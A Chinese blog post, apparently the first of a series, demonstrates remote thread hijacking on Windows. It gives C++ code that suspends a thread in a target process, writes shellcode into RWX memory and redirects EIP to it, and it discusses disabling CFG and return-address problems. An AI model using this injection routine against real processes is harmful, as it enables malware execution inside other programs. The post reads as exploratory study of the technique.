windows:shellcode 远程线程hook/注入(一)
https://www.cnblogs.com/theseventhson/p/13199381.html 上次分享了通过APC注入方式,让目标线程运行shellcode。这么做有个前提条件:目标线程是alertable的,否则注入了也不会立即被执行,直到状态改为alertable,但笔者暂时没找到能把目标线程状态主动改为alertable的办法,所以只能被动“听天由命”地等。今天介绍另一种远程线程注入的方式:hook 线程;
先说第一种思路,如下:
核心代码解析如下:
1、用于测试的目标进程:这里写个死循环,让其一直运行,方便随时被注入;
#include <windows.h>
#include <stdio.h> int main()
{
printf("dead looping...............\n");
while (TRUE)
{ }
}
注意:本人测试环境:
win10 x64为了确保安全,默认增加了很多防护,比如控制流防护CFG,编译的时候需要手动改成否,才能让我们注入的shellcode顺利执行;
2、遍历进程,找到目标进程后再遍历该进程名下其他线程:
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, );
HANDLE victimProcess = NULL;
PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
std::vector<DWORD> threadIds;
HANDLE threadHandle = NULL; if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processEntry.szExeFile, L"Thread_Alertable.exe") != ) {
//while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0) {
Process32Next(snapshot, &processEntry);
}
} victimProcess = OpenProcess(PROCESS_ALL_ACCESS, , processEntry.th32ProcessID); if (Thread32First(snapshot, &threadEntry)) {
do {
if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
threadIds.push_back(threadEntry.th32ThreadID);
}
} while (Thread32Next(snapshot, &threadEntry));
} for (DWORD threadId : threadIds) {
threadHandle = OpenThread(THREAD_ALL_ACCESS, NULL, threadId);
if (Wow64SuspendThread(threadHandle) == -) //挂起线程失败
{
continue;
}
printf("threadId:%d\n", threadId);
if (InjectThread(victimProcess, threadHandle,buf, shellcodeSize))
{
printf("threadID = %d inject success!", threadId);
CloseHandle(victimProcess);
CloseHandle(threadHandle);
break;
}
}
3、shellcode代码注入,思路也简单:之前已经已经拿到目标进程和目标线程的句柄,并且已经暂定线程,这里直接GetThreadContext,更改eip为shellcode地址即可;
BOOL InjectThread(HANDLE hProcess, HANDLE hThread, unsigned char buf[],int shellcodeSize)
{
LPVOID shellAddress = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (shellAddress == NULL)
{
printf("VirtualAlloc Error\n");
VirtualFreeEx(hProcess, shellAddress, , MEM_RELEASE );
ResumeThread(hThread);
return FALSE;
} WOW64_CONTEXT ctx = { };
ctx.ContextFlags = CONTEXT_ALL; if (!Wow64GetThreadContext(hThread, &ctx))
{
int a = GetLastError();
printf("GetThreadContext Error:%d\n", a);
VirtualFreeEx(hProcess, shellAddress, , MEM_RELEASE);
ResumeThread(hThread);
return FALSE;
}
DWORD currentEIP = ctx.Eip;
if (WriteProcessMemory(hProcess, (LPVOID)shellAddress, buf, shellcodeSize, NULL) == )
{
VirtualFreeEx(hProcess, shellAddress, , MEM_RELEASE);
printf("write shellcode error\n");
ResumeThread(hThread);
return FALSE;
}
ctx.Eip = (DWORD)shellAddress;//让eip指向shellcode
if (!Wow64SetThreadContext(hThread, &ctx))
{
VirtualFreeEx(hProcess, shellAddress, , MEM_RELEASE);
printf("set thread context error\n");
ResumeThread(hThread);
return FALSE;
}
ResumeThread(hThread);
return TRUE;
}
效果:弹出了messagebox:
也在目标进程的目录下生成了文件:
4、最后做一些总结:
- 为了让被注入的目标进程一直运行,刚开始用了sleep,从process hacker看能正常suspend,但无法resume,shellcode也无法执行;后来改成死循环,能正常执行shellcode了;
- shellcode执行完后,从打印的数据来看,貌似又从main开始运行,如下:
从process hacker看,线程并未改变,还是之前的那个:
那么问题来了,shellcode执行完回到主线程后为啥又执行了打印代码?仔细想想,shellcode最后一条有效指令是C3,也就是ret,该指令把栈顶4个字节作为返回地址赋值给eip;既然dead looping打印了两次,说明执行shellcode执行前栈顶被压入了这行代码的地址,这是谁干的了?用IDA打开目标进程分析,如下:
好在自己写的测试进程不复杂,很容易找到答案,分析如下:
(1)由于cpu执行速度很快,注入shellcode的进程(以下简称loader)在执行suspendThread时大概率已经进入while死循环,从上面汇编代码来看,while循环并未改变堆栈,所以shellcdoe执行完后ret的地址肯定不是while循环更改的;
(2)继续往上倒推:add esp,4 这是进入死循环最后一行改变栈顶的代码,为了更直观说明,我画了一个堆栈图,对照代码如下:
从函数入口点开始,改变堆栈,期间有两个call和一个push,这3行指令会改变esp;最后执行完add esp,4后,esp重新指向原edi;shellcode最后一行ret执行时,会从堆栈中该值弹出赋值给eip。那么原edi值又是多少了?用调试器打开测试进程,在main入口断下,发现edi指向的时EntryPoint,也就是说shellcode最后一个ret指令会跳转到这里开始执行;
这里也能看到栈顶是EntryPoint的地址:
5、 这次注入shellcode虽说成功,问题也很明显:
- 手动关闭了CFG检查,但实际情况是CFG默认是开启的,导致shellcode可能无法执行
- 没有设置返回地址,shellcode执行完,返回地址无法控制(这里只是凑巧回到了原EntryPoint);因suspendThread是随机的,context的eip也是随机的,所以shellcode执行完后返回地址也是随机的,这点在shellode无法写死,只能动态获取;我曾经尝试在shellcode末尾添加push+ret方式返回,但suspend的地址可能包含很多00,通过字符串操作的时候可能会被截断,暂时没想到好的解决办法;
- 类似explorer这种系统进程,GetThreadContex大概率会失败,可能做了保护;
后续会通过其他方案挨个解决这些问题!
windows:shellcode 远程线程hook/注入(一)的更多相关文章
- windows:shellcode 远程线程hook/注入(三)
今天介绍第三种远程执行shellcode的思路:函数回调: 1.所谓回调,简单理解: windows出厂时,内部有很多事务的处理无法固化(无法100%预料外部会遇到哪些情况),只能留下一堆的接口,让开 ...
- windows:shellcode 远程线程hook/注入(二)
https://www.cnblogs.com/theseventhson/p/13218651.html 上次分享了基本的远程注入方法,遗留了一个问题:shellcode执行完后怎么回到线程su ...
- windows:shellcode 远程线程hook/注入(五)
前面几篇文章介绍了通过APC注入.进程注入.windows窗口处理函数回调.kernercallback回调执行shellcode,今天继续介绍通过heap Spray(翻译成中文叫堆喷射)执行she ...
- windows:shellcode 远程线程hook/注入(四)
https://www.cnblogs.com/theseventhson/p/13236421.html 这里介绍了利用回调函数执行shellcode的基本原理:这里介绍另外一种利用回调执行she ...
- 《windows核心编程系列》十九谈谈使用远程线程来注入DLL。
windows内的各个进程有各自的地址空间.它们相互独立互不干扰保证了系统的安全性.但是windows也为调试器或是其他工具设计了一些函数,这些函数可以让一个进程对另一个进程进行操作.虽然他们是为调试 ...
- 使用远程线程来注入DLL
使用远程线程来注入DLL DLL注入技术要求我们目标进程中的一个线程调用LoadLibrary来载入我们想要的DLL (1)用OpenProcess函数打开目标进程(2)用VirtualAllocEx ...
- 【windows核心编程】远程线程DLL注入
15.1 DLL注入 目前公开的DLL注入技巧共有以下几种: 1.注入表注入 2.ComRes注入 3.APC注入 4.消息钩子注入 5.远线程注入 6.依赖可信进程注入 7.劫持进程创建注入 8.输 ...
- 实现远程线程DLL注入
### 32位:远程线程注入 远程线程注入是最常用的一种注入技术,该技术利用的核心API是 `CreateRemoteThread()` 这个API可以运行远程线程,其次通过创建的线程调用 `Load ...
- Dll注入:X86/X64 远程线程CreateRemoteThread 注入
远线程注入原理是利用Windows 系统中CreateRemoteThread()这个API,其中第4个参数是准备运行的线程,我们可以将LoadLibrary()填入其中,这样就可以执行远程进程中的L ...
随机推荐
- centos7安装Mysql爬坑记录
centos7安装Mysql爬坑记录 查看是否已安装 使用下列命令查看是否已经安装过mysql/mariadb/PostgreSQL 如果未安装,不返回任何结果(ECS的centos镜像默认未安装 ...
- ReadWriteLock锁的应用
对于 Lock 锁来说,如果要实现 "一写多读" 的并发状态(即允许同时读,不允许同时写),需要对 "写操作" 加锁,对 "读操作" 不作要 ...
- hihoCoder 1050 树中的最长路 最详细的解题报告
题目来源:树中的最长路 解题思路:枚举每一个点作为转折点t,求出以t为根节点的子树中的‘最长路’以及与‘最长路’不重合的‘次长路’,用这两条路的长度之和去更新答案,最终的答案就是这棵树的最长路长度.只 ...
- 并发编程之synchronized锁(一)
一.设计同步器的意义 多线程编程中,有可能会出现多个线程同时访问同一个共享.可变资源的情况,这个资源我们称之其为临界资源:这种资源可能是:对象.变量.文件等. 共享:资源可以由多个线程同时访问 可变: ...
- Firefox 底部多出了一个白条
如图所示 下方多了个白条 html{ font-size:0px; }
- Python Ethical Hacking - BACKDOORS(8)
Cross-platform hacking All programs we wrote are pure python programs They do not rely on OS-specifi ...
- 搭建sonarqube分析golang代码
准备postgres 为什么不使用Mysql呢,因为从7.9就不支持了 docker启动postgres docker run -d \ --name sonar-postgres \ -e POST ...
- javascript : 递归遍历数组
我们假设有一个对象数组. 这个对象数组里的对象,有一个叫children的key,value也是一个对象数组. 这个数组里面可能还有children... 现在我们想递归遍历它. 上代码. test_ ...
- package.json中dependencies和devDependencies区别
package.json中dependencies和devDependencies区别 dependencies: 应用能够正常运行依赖的包.用户发布环境,依赖的包不仅开发环境能够使用,生产环境也能使 ...
- SmartMS如何使用二次验证码/虚拟MFA/两步验证/谷歌身份验证器?
一般点账户名——设置——安全设置中开通虚拟MFA两步验证 具体步骤见链接 SmartMS如何使用二次验证码/虚拟MFA/两步验证/谷歌身份验证器? 二次验证码小程序于谷歌身份验证器APP的优势 1.无 ...